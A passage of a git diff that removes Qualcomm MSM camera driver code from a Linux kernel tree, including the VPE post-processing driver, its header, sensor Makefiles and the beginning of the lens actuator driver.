0xFFFF)); - if (!rc) - rc = msm_vpe_enqueue_buff_info_list(vpe_dev, - &k_stream_buff_info); - - kfree(k_stream_buff_info.buffer_info); - kfree(u_stream_buff_info); - break; - } - case VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO: { - uint32_t identity; - struct msm_vpe_buff_queue_info_t *buff_queue_info; - - VPE_DBG("VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO\n"); - if (ioctl_ptr->len != sizeof(uint32_t)) { - pr_err("%s:%d Invalid len\n", __func__, __LINE__); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - rc = (copy_from_user(&identity, - (void __user *)ioctl_ptr->ioctl_ptr, - ioctl_ptr->len) ? -EFAULT : 0); - if (rc) { - pr_err("%s:%d copy from user\n", __func__, __LINE__); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, - ((identity >> 16) & 0xFFFF), (identity & 0xFFFF)); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for identity:%d\n", - identity); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - msm_vpe_dequeue_buff_info_list(vpe_dev, buff_queue_info); - rc = msm_vpe_free_buff_queue_entry(vpe_dev, - buff_queue_info->session_id, - buff_queue_info->stream_id); - break; - } - case VIDIOC_MSM_VPE_GET_EVENTPAYLOAD: { - struct msm_device_queue *queue = &vpe_dev->eventData_q; - struct msm_queue_cmd *event_qcmd; - struct msm_vpe_frame_info_t *process_frame; - VPE_DBG("VIDIOC_MSM_VPE_GET_EVENTPAYLOAD\n"); - event_qcmd = msm_dequeue(queue, list_eventdata); - process_frame = event_qcmd->command; - VPE_DBG("fid %d\n", process_frame->frame_id); - if (copy_to_user((void __user *)ioctl_ptr->ioctl_ptr, - process_frame, - sizeof(struct msm_vpe_frame_info_t))) { - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - kfree(process_frame); - kfree(event_qcmd); - break; - } - } - mutex_unlock(&vpe_dev->mutex); - return rc; -} - -static int msm_vpe_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub) -{ - return v4l2_event_subscribe(fh, sub, MAX_VPE_V4l2_EVENTS, NULL); -} - -static int msm_vpe_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub) -{ - return v4l2_event_unsubscribe(fh, sub); -} - -static struct v4l2_subdev_core_ops msm_vpe_subdev_core_ops = { - .ioctl = msm_vpe_subdev_ioctl, - .subscribe_event = msm_vpe_subscribe_event, - .unsubscribe_event = msm_vpe_unsubscribe_event, -}; - -static const struct v4l2_subdev_ops msm_vpe_subdev_ops = { - .core = &msm_vpe_subdev_core_ops, -}; - -static struct v4l2_file_operations msm_vpe_v4l2_subdev_fops; - -static long msm_vpe_subdev_do_ioctl( - struct file *file, unsigned int cmd, void *arg) -{ - struct video_device *vdev = video_devdata(file); - struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); - struct v4l2_fh *vfh = file->private_data; - - switch (cmd) { - case VIDIOC_DQEVENT: - if (!(sd->flags & V4L2_SUBDEV_FL_HAS_EVENTS)) - return -ENOIOCTLCMD; - - return v4l2_event_dequeue(vfh, arg, file->f_flags & O_NONBLOCK); - - case VIDIOC_SUBSCRIBE_EVENT: - return v4l2_subdev_call(sd, core, subscribe_event, vfh, arg); - - case VIDIOC_UNSUBSCRIBE_EVENT: - return v4l2_subdev_call(sd, core, unsubscribe_event, vfh, arg); - case VIDIOC_MSM_VPE_GET_INST_INFO: { - uint32_t i; - struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); - struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; - struct msm_vpe_frame_info_t inst_info; - memset(&inst_info, 0, sizeof(struct msm_vpe_frame_info_t)); - for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { - if (vpe_dev->vpe_subscribe_list[i].vfh == vfh) { - inst_info.inst_id = i; - break; - } - } - if (copy_to_user( - (void __user *)ioctl_ptr->ioctl_ptr, &inst_info, - sizeof(struct msm_vpe_frame_info_t))) { - return -EINVAL; - } - } - default: - return v4l2_subdev_call(sd, core, ioctl, cmd, arg); - } - - return 0; -} - -static long msm_vpe_subdev_fops_ioctl(struct file *file, unsigned int cmd, - unsigned long arg) -{ - return video_usercopy(file, cmd, arg, msm_vpe_subdev_do_ioctl); -} - -static int vpe_register_domain(void) -{ - struct msm_iova_partition vpe_iommu_partition = { - /* TODO: verify that these are correct? */ - .start = SZ_128K, - .size = SZ_2G - SZ_128K, - }; - struct msm_iova_layout vpe_iommu_layout = { - .partitions = &vpe_iommu_partition, - .npartitions = 1, - .client_name = "camera_vpe", - .domain_flags = 0, - }; - - return msm_register_domain(&vpe_iommu_layout); -} - -static int vpe_probe(struct platform_device *pdev) -{ - struct vpe_device *vpe_dev; - int rc = 0; - - vpe_dev = kzalloc(sizeof(struct vpe_device), GFP_KERNEL); - if (!vpe_dev) { - pr_err("not enough memory\n"); - return -ENOMEM; - } - - vpe_dev->vpe_clk = kzalloc(sizeof(struct clk *) * - ARRAY_SIZE(vpe_clk_info), GFP_KERNEL); - if (!vpe_dev->vpe_clk) { - pr_err("not enough memory\n"); - rc = -ENOMEM; - goto err_free_vpe_dev; - } - - v4l2_subdev_init(&vpe_dev->msm_sd.sd, &msm_vpe_subdev_ops); - vpe_dev->msm_sd.sd.internal_ops = &msm_vpe_internal_ops; - snprintf(vpe_dev->msm_sd.sd.name, ARRAY_SIZE(vpe_dev->msm_sd.sd.name), - "vpe"); - vpe_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - vpe_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_EVENTS; - v4l2_set_subdevdata(&vpe_dev->msm_sd.sd, vpe_dev); - platform_set_drvdata(pdev, &vpe_dev->msm_sd.sd); - mutex_init(&vpe_dev->mutex); - spin_lock_init(&vpe_dev->tasklet_lock); - - vpe_dev->pdev = pdev; - - vpe_dev->mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "vpe"); - if (!vpe_dev->mem) { - pr_err("no mem resource?\n"); - rc = -ENODEV; - goto err_free_vpe_clk; - } - - vpe_dev->irq = platform_get_resource_byname(pdev, - IORESOURCE_IRQ, "vpe"); - if (!vpe_dev->irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto err_release_mem; - } - - vpe_dev->domain_num = vpe_register_domain(); - if (vpe_dev->domain_num < 0) { - pr_err("%s: could not register domain\n", __func__); - rc = -ENODEV; - goto err_release_mem; - } - - vpe_dev->domain = - msm_get_iommu_domain(vpe_dev->domain_num); - if (!vpe_dev->domain) { - pr_err("%s: cannot find domain\n", __func__); - rc = -ENODEV; - goto err_release_mem; - } - - vpe_dev->iommu_ctx_src = msm_iommu_get_ctx("vpe_src"); - vpe_dev->iommu_ctx_dst = msm_iommu_get_ctx("vpe_dst"); - if (!vpe_dev->iommu_ctx_src || !vpe_dev->iommu_ctx_dst) { - pr_err("%s: cannot get iommu_ctx\n", __func__); - rc = -ENODEV; - goto err_release_mem; - } - - media_entity_init(&vpe_dev->msm_sd.sd.entity, 0, NULL, 0); - vpe_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - vpe_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_VPE; - vpe_dev->msm_sd.sd.entity.name = pdev->name; - msm_sd_register(&vpe_dev->msm_sd); - msm_vpe_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; - msm_vpe_v4l2_subdev_fops.open = v4l2_subdev_fops.open; - msm_vpe_v4l2_subdev_fops.unlocked_ioctl = msm_vpe_subdev_fops_ioctl; - msm_vpe_v4l2_subdev_fops.release = v4l2_subdev_fops.release; - msm_vpe_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; - - vpe_dev->msm_sd.sd.devnode->fops = &msm_vpe_v4l2_subdev_fops; - vpe_dev->msm_sd.sd.entity.revision = vpe_dev->msm_sd.sd.devnode->num; - vpe_dev->state = VPE_STATE_BOOT; - rc = vpe_init_hardware(vpe_dev); - if (rc < 0) { - pr_err("%s: Couldn't init vpe hardware\n", __func__); - goto err_unregister_sd; - } - vpe_reset(vpe_dev); - vpe_release_hardware(vpe_dev); - vpe_dev->state = VPE_STATE_OFF; - - rc = iommu_attach_device(vpe_dev->domain, vpe_dev->iommu_ctx_src); - if (rc < 0) { - pr_err("Couldn't attach to vpe_src context bank\n"); - rc = -ENODEV; - goto err_unregister_sd; - } - rc = iommu_attach_device(vpe_dev->domain, vpe_dev->iommu_ctx_dst); - if (rc < 0) { - pr_err("Couldn't attach to vpe_dst context bank\n"); - rc = -ENODEV; - goto err_detach_src; - } - - vpe_dev->state = VPE_STATE_OFF; - - msm_queue_init(&vpe_dev->eventData_q, "vpe-eventdata"); - msm_queue_init(&vpe_dev->processing_q, "vpe-frame"); - INIT_LIST_HEAD(&vpe_dev->tasklet_q); - tasklet_init(&vpe_dev->vpe_tasklet, msm_vpe_do_tasklet, - (unsigned long)vpe_dev); - vpe_dev->vpe_open_cnt = 0; - - return rc; - -err_detach_src: - iommu_detach_device(vpe_dev->domain, vpe_dev->iommu_ctx_src); -err_unregister_sd: - msm_sd_unregister(&vpe_dev->msm_sd); -err_release_mem: - release_mem_region(vpe_dev->mem->start, resource_size(vpe_dev->mem)); -err_free_vpe_clk: - kfree(vpe_dev->vpe_clk); -err_free_vpe_dev: - kfree(vpe_dev); - return rc; -} - -static int vpe_device_remove(struct platform_device *dev) -{ - struct v4l2_subdev *sd = platform_get_drvdata(dev); - struct vpe_device *vpe_dev; - if (!sd) { - pr_err("%s: Subdevice is NULL\n", __func__); - return 0; - } - - vpe_dev = (struct vpe_device *)v4l2_get_subdevdata(sd); - if (!vpe_dev) { - pr_err("%s: vpe device is NULL\n", __func__); - return 0; - } - - iommu_detach_device(vpe_dev->domain, vpe_dev->iommu_ctx_dst); - iommu_detach_device(vpe_dev->domain, vpe_dev->iommu_ctx_src); - msm_sd_unregister(&vpe_dev->msm_sd); - release_mem_region(vpe_dev->mem->start, resource_size(vpe_dev->mem)); - mutex_destroy(&vpe_dev->mutex); - kfree(vpe_dev); - return 0; -} - -static struct platform_driver vpe_driver = { - .probe = vpe_probe, - .remove = vpe_device_remove, - .driver = { - .name = MSM_VPE_DRV_NAME, - .owner = THIS_MODULE, - }, -}; - -static int __init msm_vpe_init_module(void) -{ - return platform_driver_register(&vpe_driver); -} - -static void __exit msm_vpe_exit_module(void) -{ - platform_driver_unregister(&vpe_driver); -} - -module_init(msm_vpe_init_module); -module_exit(msm_vpe_exit_module); -MODULE_DESCRIPTION("MSM VPE driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h deleted file mode 100644 index 1a8508963493d..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h +++ /dev/null @@ -1,255 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_VPE_H__ -#define __MSM_VPE_H__ - -#include -#include -#include -#include -#include -#include "msm_sd.h" - -/*********** start of register offset *********************/ -#define VPE_INTR_ENABLE_OFFSET 0x0020 -#define VPE_INTR_STATUS_OFFSET 0x0024 -#define VPE_INTR_CLEAR_OFFSET 0x0028 -#define VPE_DL0_START_OFFSET 0x0030 -#define VPE_HW_VERSION_OFFSET 0x0070 -#define VPE_SW_RESET_OFFSET 0x0074 -#define VPE_AXI_RD_ARB_CONFIG_OFFSET 0x0078 -#define VPE_SEL_CLK_OR_HCLK_TEST_BUS_OFFSET 0x007C -#define VPE_CGC_EN_OFFSET 0x0100 -#define VPE_CMD_STATUS_OFFSET 0x10008 -#define VPE_PROFILE_EN_OFFSET 0x10010 -#define VPE_PROFILE_COUNT_OFFSET 0x10014 -#define VPE_CMD_MODE_OFFSET 0x10060 -#define VPE_SRC_SIZE_OFFSET 0x10108 -#define VPE_SRCP0_ADDR_OFFSET 0x1010C -#define VPE_SRCP1_ADDR_OFFSET 0x10110 -#define VPE_SRC_YSTRIDE1_OFFSET 0x1011C -#define VPE_SRC_FORMAT_OFFSET 0x10124 -#define VPE_SRC_UNPACK_PATTERN1_OFFSET 0x10128 -#define VPE_OP_MODE_OFFSET 0x10138 -#define VPE_SCALE_PHASEX_INIT_OFFSET 0x1013C -#define VPE_SCALE_PHASEY_INIT_OFFSET 0x10140 -#define VPE_SCALE_PHASEX_STEP_OFFSET 0x10144 -#define VPE_SCALE_PHASEY_STEP_OFFSET 0x10148 -#define VPE_OUT_FORMAT_OFFSET 0x10150 -#define VPE_OUT_PACK_PATTERN1_OFFSET 0x10154 -#define VPE_OUT_SIZE_OFFSET 0x10164 -#define VPE_OUTP0_ADDR_OFFSET 0x10168 -#define VPE_OUTP1_ADDR_OFFSET 0x1016C -#define VPE_OUT_YSTRIDE1_OFFSET 0x10178 -#define VPE_OUT_XY_OFFSET 0x1019C -#define VPE_SRC_XY_OFFSET 0x10200 -#define VPE_SRC_IMAGE_SIZE_OFFSET 0x10208 -#define VPE_SCALE_CONFIG_OFFSET 0x10230 -#define VPE_DEINT_STATUS_OFFSET 0x30000 -#define VPE_DEINT_DECISION_OFFSET 0x30004 -#define VPE_DEINT_COEFF0_OFFSET 0x30010 -#define VPE_SCALE_STATUS_OFFSET 0x50000 -#define VPE_SCALE_SVI_PARAM_OFFSET 0x50010 -#define VPE_SCALE_SHARPEN_CFG_OFFSET 0x50020 -#define VPE_SCALE_COEFF_LSP_0_OFFSET 0x50400 -#define VPE_SCALE_COEFF_MSP_0_OFFSET 0x50404 - -#define VPE_AXI_ARB_1_OFFSET 0x00408 -#define VPE_AXI_ARB_2_OFFSET 0x0040C - -#define VPE_SCALE_COEFF_LSBn(n) (0x50400 + 8 * (n)) -#define VPE_SCALE_COEFF_MSBn(n) (0x50404 + 8 * (n)) -#define VPE_SCALE_COEFF_NUM 32 - -/*********** end of register offset ********************/ - - -#define VPE_HARDWARE_VERSION 0x00080308 -#define VPE_SW_RESET_VALUE 0x00000010 /* bit 4 for PPP*/ -#define VPE_AXI_RD_ARB_CONFIG_VALUE 0x124924 -#define VPE_CMD_MODE_VALUE 0x1 -#define VPE_DEFAULT_OP_MODE_VALUE 0x40FC0004 -#define VPE_CGC_ENABLE_VALUE 0xffff -#define VPE_DEFAULT_SCALE_CONFIG 0x3c - -#define VPE_NORMAL_MODE_CLOCK_RATE 150000000 -#define VPE_TURBO_MODE_CLOCK_RATE 200000000 -#define VPE_SUBDEV_MAX_EVENTS 30 - -/**************************************************/ -/*********** End of command id ********************/ -/**************************************************/ - -#define SCALER_PHASE_BITS 29 -#define HAL_MDP_PHASE_STEP_2P50 0x50000000 -#define HAL_MDP_PHASE_STEP_1P66 0x35555555 -#define HAL_MDP_PHASE_STEP_1P25 0x28000000 - - -#define MAX_ACTIVE_VPE_INSTANCE 8 -#define MAX_VPE_PROCESSING_FRAME 2 -#define MAX_VPE_V4l2_EVENTS 30 - -#define MSM_VPE_TASKLETQ_SIZE 16 - -/** - * The format of the msm_vpe_transaction_setup_cfg is as follows: - * - * - vpe_update_scale_coef (65*4 uint32_t's) - * - Each table is 65 uint32_t's long - * - 1st uint32_t in each table indicates offset - * - Following 64 uint32_t's are the data - * - * - vpe_input_plane_config (6 uint32_t's) - * - VPE_SRC_FORMAT_OFFSET - * - VPE_SRC_UNPACK_PATTERN1_OFFSET - * - VPE_SRC_IMAGE_SIZE_OFFSET - * - VPE_SRC_YSTRIDE1_OFFSET - * - VPE_SRC_SIZE_OFFSET - * - VPE_SRC_XY_OFFSET - * - * - vpe_output_plane_config (5 uint32_t's) - * - VPE_OUT_FORMAT_OFFSET - * - VPE_OUT_PACK_PATTERN1_OFFSET - * - VPE_OUT_YSTRIDE1_OFFSET - * - VPE_OUT_SIZE_OFFSET - * - VPE_OUT_XY_OFFSET - * - * - vpe_operation_config (1 uint32_t) - * - VPE_OP_MODE_OFFSET - * - */ - -#define VPE_SCALER_CONFIG_LEN 260 -#define VPE_INPUT_PLANE_CFG_LEN 24 -#define VPE_OUTPUT_PLANE_CFG_LEN 20 -#define VPE_OPERATION_MODE_CFG_LEN 4 -#define VPE_NUM_SCALER_TABLES 4 - -#define VPE_TRANSACTION_SETUP_CONFIG_LEN ( \ - (VPE_SCALER_CONFIG_LEN * VPE_NUM_SCALER_TABLES) \ - + VPE_INPUT_PLANE_CFG_LEN \ - + VPE_OUTPUT_PLANE_CFG_LEN \ - + VPE_OPERATION_MODE_CFG_LEN) -/* VPE_TRANSACTION_SETUP_CONFIG_LEN = 1088 */ - -struct msm_vpe_transaction_setup_cfg { - uint8_t scaler_cfg[VPE_TRANSACTION_SETUP_CONFIG_LEN]; -}; - -struct vpe_subscribe_info { - struct v4l2_fh *vfh; - uint32_t active; -}; - -enum vpe_state { - VPE_STATE_BOOT, - VPE_STATE_IDLE, - VPE_STATE_ACTIVE, - VPE_STATE_OFF, -}; - -struct msm_queue_cmd { - struct list_head list_config; - struct list_head list_control; - struct list_head list_frame; - struct list_head list_pict; - struct list_head list_vpe_frame; - struct list_head list_eventdata; - void *command; - atomic_t on_heap; - struct timespec ts; - uint32_t error_code; - uint32_t trans_code; -}; - -struct msm_device_queue { - struct list_head list; - spinlock_t lock; - wait_queue_head_t wait; - int max; - int len; - const char *name; -}; - -struct msm_vpe_tasklet_queue_cmd { - struct list_head list; - uint32_t irq_status; - uint8_t cmd_used; -}; - -struct msm_vpe_buffer_map_info_t { - unsigned long len; - dma_addr_t phy_addr; - struct ion_handle *ion_handle; - struct msm_vpe_buffer_info_t buff_info; -}; - -struct msm_vpe_buffer_map_list_t { - struct msm_vpe_buffer_map_info_t map_info; - struct list_head entry; -}; - -struct msm_vpe_buff_queue_info_t { - uint32_t used; - uint16_t session_id; - uint16_t stream_id; - struct list_head vb2_buff_head; - struct list_head native_buff_head; -}; - -struct vpe_device { - struct platform_device *pdev; - struct msm_sd_subdev msm_sd; - struct v4l2_subdev subdev; - struct resource *mem; - struct resource *irq; - void __iomem *base; - struct clk **vpe_clk; - struct regulator *fs_vpe; - struct mutex mutex; - enum vpe_state state; - - int domain_num; - struct iommu_domain *domain; - struct device *iommu_ctx_src; - struct device *iommu_ctx_dst; - struct ion_client *client; - struct kref refcount; - - /* Reusing proven tasklet from msm isp */ - atomic_t irq_cnt; - uint8_t taskletq_idx; - spinlock_t tasklet_lock; - struct list_head tasklet_q; - struct tasklet_struct vpe_tasklet; - struct msm_vpe_tasklet_queue_cmd - tasklet_queue_cmd[MSM_VPE_TASKLETQ_SIZE]; - - struct vpe_subscribe_info vpe_subscribe_list[MAX_ACTIVE_VPE_INSTANCE]; - uint32_t vpe_open_cnt; - - struct msm_device_queue eventData_q; /* V4L2 Event Payload Queue */ - - /* - * Processing Queue: store frame info for frames sent to - * microcontroller - */ - struct msm_device_queue processing_q; - - struct msm_vpe_buff_queue_info_t *buff_queue; - uint32_t num_buffq; - struct v4l2_subdev *buf_mgr_subdev; -}; - -#endif /* __MSM_VPE_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile deleted file mode 100644 index 241a04dcb1464..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile +++ /dev/null @@ -1,21 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/camera -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci -obj-$(CONFIG_MSMB_CAMERA) += cci/ io/ csiphy/ csid/ actuator/ flash/ eeprom/ -obj-$(CONFIG_MSM_CAMERA_SENSOR) += msm_sensor_init.o msm_sensor_driver.o msm_sensor.o -obj-$(CONFIG_IMX132) += imx132.o -obj-$(CONFIG_IMX134) += imx134.o -obj-$(CONFIG_OV8825) += ov8825.o -obj-$(CONFIG_OV8865) += ov8865.o -obj-$(CONFIG_s5k4e1) += s5k4e1.o -obj-$(CONFIG_OV12830) += ov12830.o -obj-$(CONFIG_OV9724) += ov9724.o -obj-$(CONFIG_HI256) += hi256.o -obj-$(CONFIG_OV5648) += ov5648.o -obj-$(CONFIG_MT9M114) += mt9m114.o -obj-$(CONFIG_MT9M114) += ov5645.o -obj-$(CONFIG_MT9M114) += ov7695.o -obj-$(CONFIG_SP1628) += sp1628.o -obj-$(CONFIG_GC0339) += gc0339.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile deleted file mode 100644 index 2fb520d28eaa2..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci -obj-$(CONFIG_MSMB_CAMERA) += msm_actuator.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c deleted file mode 100644 index ae92c35b48baa..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c +++ /dev/null @@ -1,1146 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ - -#include -#include "msm_sd.h" -#include "msm_actuator.h" -#include "msm_cci.h" - -DEFINE_MSM_MUTEX(msm_actuator_mutex); - -/*#define MSM_ACUTUATOR_DEBUG*/ -#undef CDBG -#ifdef MSM_ACUTUATOR_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#endif - - -static int32_t msm_actuator_power_up(struct msm_actuator_ctrl_t *a_ctrl); -static int32_t msm_actuator_power_down(struct msm_actuator_ctrl_t *a_ctrl); - -static struct msm_actuator msm_vcm_actuator_table; -static struct msm_actuator msm_piezo_actuator_table; - -static struct i2c_driver msm_actuator_i2c_driver; -static struct msm_actuator *actuators[] = { - &msm_vcm_actuator_table, - &msm_piezo_actuator_table, -}; - -static int32_t msm_actuator_piezo_set_default_focus( - struct msm_actuator_ctrl_t *a_ctrl, - struct msm_actuator_move_params_t *move_params) -{ - int32_t rc = 0; - struct msm_camera_i2c_reg_setting reg_setting; - CDBG("Enter\n"); - - if (a_ctrl->curr_step_pos != 0) { - a_ctrl->i2c_tbl_index = 0; - a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, - a_ctrl->initial_code, 0, 0); - a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, - a_ctrl->initial_code, 0, 0); - reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; - reg_setting.data_type = a_ctrl->i2c_data_type; - reg_setting.size = a_ctrl->i2c_tbl_index; - rc = a_ctrl->i2c_client.i2c_func_tbl-> - i2c_write_table_w_microdelay( - &a_ctrl->i2c_client, ®_setting); - if (rc < 0) { - pr_err("%s: i2c write error:%d\n", - __func__, rc); - return rc; - } - a_ctrl->i2c_tbl_index = 0; - a_ctrl->curr_step_pos = 0; - } - CDBG("Exit\n"); - return rc; -} - -static void msm_actuator_parse_i2c_params(struct msm_actuator_ctrl_t *a_ctrl, - int16_t next_lens_position, uint32_t hw_params, uint16_t delay) -{ - struct msm_actuator_reg_params_t *write_arr = a_ctrl->reg_tbl; - uint32_t hw_dword = hw_params; - uint16_t i2c_byte1 = 0, i2c_byte2 = 0; - uint16_t value = 0; - uint32_t size = a_ctrl->reg_tbl_size, i = 0; - struct msm_camera_i2c_reg_array *i2c_tbl = a_ctrl->i2c_reg_tbl; - CDBG("Enter\n"); - for (i = 0; i < size; i++) { - /* check that the index into i2c_tbl cannot grow larger that - the allocated size of i2c_tbl */ - if ((a_ctrl->total_steps + 1) < (a_ctrl->i2c_tbl_index)) { - break; - } - if (write_arr[i].reg_write_type == MSM_ACTUATOR_WRITE_DAC) { - value = (next_lens_position << - write_arr[i].data_shift) | - ((hw_dword & write_arr[i].hw_mask) >> - write_arr[i].hw_shift); - - if (write_arr[i].reg_addr != 0xFFFF) { - i2c_byte1 = write_arr[i].reg_addr; - i2c_byte2 = value; - if (size != (i+1)) { - i2c_byte2 = value & 0xFF; - CDBG("byte1:0x%x, byte2:0x%x\n", - i2c_byte1, i2c_byte2); - i2c_tbl[a_ctrl->i2c_tbl_index]. - reg_addr = i2c_byte1; - i2c_tbl[a_ctrl->i2c_tbl_index]. - reg_data = i2c_byte2; - i2c_tbl[a_ctrl->i2c_tbl_index]. - delay = 0; - a_ctrl->i2c_tbl_index++; - i++; - i2c_byte1 = write_arr[i].reg_addr; - i2c_byte2 = (value & 0xFF00) >> 8; - } - } else { - i2c_byte1 = (value & 0xFF00) >> 8; - i2c_byte2 = value & 0xFF; - } - } else { - i2c_byte1 = write_arr[i].reg_addr; - i2c_byte2 = (hw_dword & write_arr[i].hw_mask) >> - write_arr[i].hw_shift; - } - CDBG("i2c_byte1:0x%x, i2c_byte2:0x%x\n", i2c_byte1, i2c_byte2); - i2c_tbl[a_ctrl->i2c_tbl_index].reg_addr = i2c_byte1; - i2c_tbl[a_ctrl->i2c_tbl_index].reg_data = i2c_byte2; - i2c_tbl[a_ctrl->i2c_tbl_index].delay = delay; - a_ctrl->i2c_tbl_index++; - } - CDBG("Exit\n"); -} - -static int32_t msm_actuator_init_focus(struct msm_actuator_ctrl_t *a_ctrl, - uint16_t size, struct reg_settings_t *settings) -{ - int32_t rc = -EFAULT; - int32_t i = 0; - CDBG("Enter\n"); - - for (i = 0; i < size; i++) { - switch (settings[i].i2c_operation) { - case MSM_ACT_WRITE: { - switch (settings[i].data_type) { - case MSM_ACTUATOR_BYTE_DATA: - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write( - &a_ctrl->i2c_client, - settings[i].reg_addr, - settings[i].reg_data, - MSM_CAMERA_I2C_BYTE_DATA); - break; - case MSM_ACTUATOR_WORD_DATA: - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write( - &a_ctrl->i2c_client, - settings[i].reg_addr, - settings[i].reg_data, - MSM_CAMERA_I2C_WORD_DATA); - break; - default: - pr_err("Unsupport data type: %d\n", - settings[i].i2c_operation); - break; - } - break; - } - case MSM_ACT_POLL: { - switch (settings[i].data_type) { - case MSM_ACTUATOR_BYTE_DATA: - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_poll( - &a_ctrl->i2c_client, - settings[i].reg_addr, - settings[i].reg_data, - MSM_CAMERA_I2C_BYTE_DATA); - break; - case MSM_ACTUATOR_WORD_DATA: - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_poll( - &a_ctrl->i2c_client, - settings[i].reg_addr, - settings[i].reg_data, - MSM_CAMERA_I2C_WORD_DATA); - break; - default: - pr_err("Unsupport data type: %d\n", - settings[i].i2c_operation); - break; - } - break; - } - } - - if (0 != settings[i].delay) - msleep(settings[i].delay); - - if (rc < 0) - break; - } - - a_ctrl->curr_step_pos = 0; - CDBG("Exit\n"); - return rc; -} - -static void msm_actuator_write_focus( - struct msm_actuator_ctrl_t *a_ctrl, - uint16_t curr_lens_pos, - struct damping_params_t *damping_params, - int8_t sign_direction, - int16_t code_boundary) -{ - int16_t next_lens_pos = 0; - uint16_t damping_code_step = 0; - uint16_t wait_time = 0; - CDBG("Enter\n"); - - damping_code_step = damping_params->damping_step; - wait_time = damping_params->damping_delay; - - /* Write code based on damping_code_step in a loop */ - for (next_lens_pos = - curr_lens_pos + (sign_direction * damping_code_step); - (sign_direction * next_lens_pos) <= - (sign_direction * code_boundary); - next_lens_pos = - (next_lens_pos + - (sign_direction * damping_code_step))) { - a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, - next_lens_pos, damping_params->hw_params, wait_time); - curr_lens_pos = next_lens_pos; - } - - if (curr_lens_pos != code_boundary) { - a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, - code_boundary, damping_params->hw_params, wait_time); - } - CDBG("Exit\n"); -} - -static int32_t msm_actuator_piezo_move_focus( - struct msm_actuator_ctrl_t *a_ctrl, - struct msm_actuator_move_params_t *move_params) -{ - int32_t dest_step_position = move_params->dest_step_pos; - struct damping_params_t ringing_params_kernel; - int32_t rc = 0; - int32_t num_steps = move_params->num_steps; - struct msm_camera_i2c_reg_setting reg_setting; - CDBG("Enter\n"); - - if 